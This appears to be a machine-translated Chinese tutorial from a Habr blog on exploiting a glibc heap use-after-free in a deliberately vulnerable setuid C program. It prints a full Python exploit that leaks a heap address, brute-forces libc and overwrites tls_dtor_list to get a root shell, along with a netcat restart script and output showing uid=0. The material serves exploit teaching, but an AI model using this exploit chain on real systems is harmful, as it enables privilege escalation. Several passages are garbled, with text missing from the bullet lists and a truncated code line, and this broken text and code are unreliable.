免费使用后漏洞

哈br!在高级课程“逆向工程”开始前夕我们为您准备了另一本有趣的翻译。开始吧!







先决条件:



  1. 一对一的漏洞
  2. 了解工作mallocglibc


虚拟机配置:Fedora 20(x86)。



什么是免费使用后(UaF)?



如果在释放堆指针后继续使用堆指针,则会发生“使用后释放”错误。这样的漏洞可能导致派生代码的执行。



易受攻击的代码:



#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)

int main(int argc, char **argv) {

 char* name = malloc(12); /* [1] */
 char* details = malloc(12); /* [2] */
 strncpy(name, argv[1], 12-1); /* [3] */
 free(details); /* [4] */
 free(name);  /* [5] */
 printf("Welcome %s\n",name); /* [6] */
 fflush(stdout);

 char* tmp = (char *) malloc(12); /* [7] */
 char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
 char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
 free(p2); /* [10] */
 char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
 char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */

 printf("Enter your region\n");
 fflush(stdout);
 read(0,p2,BUFSIZE1-1); /* [13] */
 printf("Region:%s\n",p2); 
 free(p1); /* [14] */
}


编译命令:



#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln


注意:与上一篇文章相比,此处包含ASLR。现在,让我们利用UaF错误,由于启用了ASLR,因此我们将通过信息泄漏和蛮力解决它。
在上面的代码中,在第[6]和[13]行中找到了After-after-free漏洞。相应的堆内存在第[5]和[10]行中释放,但它们的指针在第[6]和[13]行中释放之后使用!第[6]行中的UaF导致信息泄漏,第[13]行中的UaF导致信息泄漏。



什么是信息泄漏?攻击者如何利用它?



在上面的易受攻击的代码中(第[6]行),泄漏发生在堆地址处。泄漏的堆地址将帮助攻击者轻松找出随机分配的堆段地址,从而绕过ASLR。



要了解堆地址泄漏是如何发生的,首先让我们了解易受攻击的代码的前半部分。



  • 第[1]行为“ name”分配了16个字节的堆内存
  • [2] 16 «details».
  • [3] 1 (argv[1]) «name».
  • [4] [5] «name» «details» glibc malloc.
  • Printf [6] «name» , .


在阅读“先决条件”部分中文章之后,我们知道“名称”“详细信息”指针相对应是快速块,释放后将其存储在快速单元中的索引零。我们还知道,每个快速单元都包含一个空闲块的单链接列表。因此,回到我们的示例,快速单元格中索引为零的单链接列表如下所示:



main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL


由于奇异性,“ name”的前4个字节包含“ details_chunk”的地址因此,当显示“名称”时,首先显示“ details_chunk”的地址根据堆布局,我们知道“ details_chunk”相对于基本堆地址偏移了0x10。因此,从泄漏的堆地址中减去0x10将为我们提供其基地址!



如何实现任意代码执行?



现在我们有了堆段的基地址,让我们看一下示例的后半部分,看看如何执行任意代码。



  • 第[7]行为“ tmp”分配了16个字节的堆内存
  • [8] 1024 «p1».
  • [9] 1024 «p2».
  • [10] «p2» glibc malloc.
  • [11] 512 «p2_1».
  • [12] 512 «p2_2».
  • Read [13] «p2» .
  • [14] «p1» glibc malloc, .


在阅读“先决条件”部分中文章之后,我们知道在发布“ p2”,它会合并到顶部。稍后,当为“ p2_1”请求内存时,会从顶部大块开始分配内存并且“ p2”“ p2_2”具有相同的堆地址。此外,当请求“ p2_2”的内存时从顶部块分配内存并且“ p2_2”“ p2”相距512字节。所以当指针“ p2”glibc malloc在第[13]行中被释放后使用,由攻击者控制的数据(最大1019字节)被复制到“ p2_1”(大小仅为512字节),因此攻击者的剩余数据将覆盖下一个块“ p2_2”,从而使攻击者有机会覆盖该字段下一个块头的大小。



堆模式:







先决条件部分文章我们知道,如果攻击者可以成功覆盖下一个块大小字段的LSB,则即使它处于分配状态,他也可以作弊以断开与p2_1的连接。也在那篇文章中glibc malloc我们已经看到,如果攻击者仔细篡改了块头,则以分配状态分离大块会导致任意代码执行。攻击者创建了一个伪造的块头,如下所示:



  • fd应该指向释放的块地址。从堆图中,我们可以看到“ p2_1”位于偏移量0x410处。从此处开始fd = heap_base_address(由于泄漏而被接收)+ 0x410。
  • bk还应指向已释放的块地址。从堆图中,我们可以看到“ p2_1”位于偏移量0x410处。从此处开始fd = heap_base_address(由于泄漏而被接收)+ 0x410。
  • fd_nextsize tls_dtor_list – 0x14. «tls_dtor_list» private anonymous mapping glibc. , , .
  • bk_nextsize , «dtor_list». «system» dtor_list , «setuid» dtor_list «p2_2». , dtor_list 0x428 0x618 .


现在,我们已经掌握了所有这些信息,我们可以编写一个漏洞利用程序来攻击易受攻击的“漏洞”二进制文件



利用代码:



#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time

ip = '127.0.0.1'
port = 1234

def conv(num): return struct.pack("<I
def send(data):
 global con
 con.write(data)
 return con.read_until('\n')

print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0

while True:
 time.sleep(4)
 con = telnetlib.Telnet(ip, port)
 laddress = con.read_until('\n')
 laddress = laddress[8:12]
 heap_addr_tup = struct.unpack("<I", laddress)
 heap_addr = heap_addr_tup[0]
 print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
 heap_base_addr = heap_addr - 0x10
 fd = heap_base_addr + 0x410
 bk = fd
 bk_nextsize = heap_base_addr + 0x618
 mp = heap_base_addr + 0x18
 nxt = heap_base_addr + 0x428

 print "** Constructing fake chunk to overwrite tls_dtor_list**"
 fake_chunk = conv(fd)
 fake_chunk += conv(bk)
 fake_chunk += conv(fd_nextsize)
 fake_chunk += conv(bk_nextsize)
 fake_chunk += conv(system)
 fake_chunk += conv(system_arg)
 fake_chunk += "A" * 484
 fake_chunk += conv(size)
 fake_chunk += conv(setuid)
 fake_chunk += conv(setuid_arg)
 fake_chunk += conv(mp)
 fake_chunk += conv(nxt)
 print "** Successful tls_dtor_list overwrite gives us shell!!**"
 send(fake_chunk)

 try: 
  con.interact()
 except: 
  exit(0)


由于在暴力破解过程中需要进行几次尝试(直到成功),所以让我们将易受攻击的“漏洞”二进制文件作为网络服务器运行,并使用Shell脚本来确保它在崩溃时自动重新启动。



#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
 if [[ -z $nc_process_id ]]; then
 echo "(Re)starting nc..."
 nc -l -p 1234 -c "./vuln sploitfun"
 else
 echo "nc is running..."
 fi
done


执行上面的漏洞利用代码将为您提供shell的root特权。发生了!



Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$


来源:



1.重新审视Defcon CTF Shitsco的免费使用后漏洞-远程执行代码






Bootkit分析。免费课程






阅读更多:






All Articles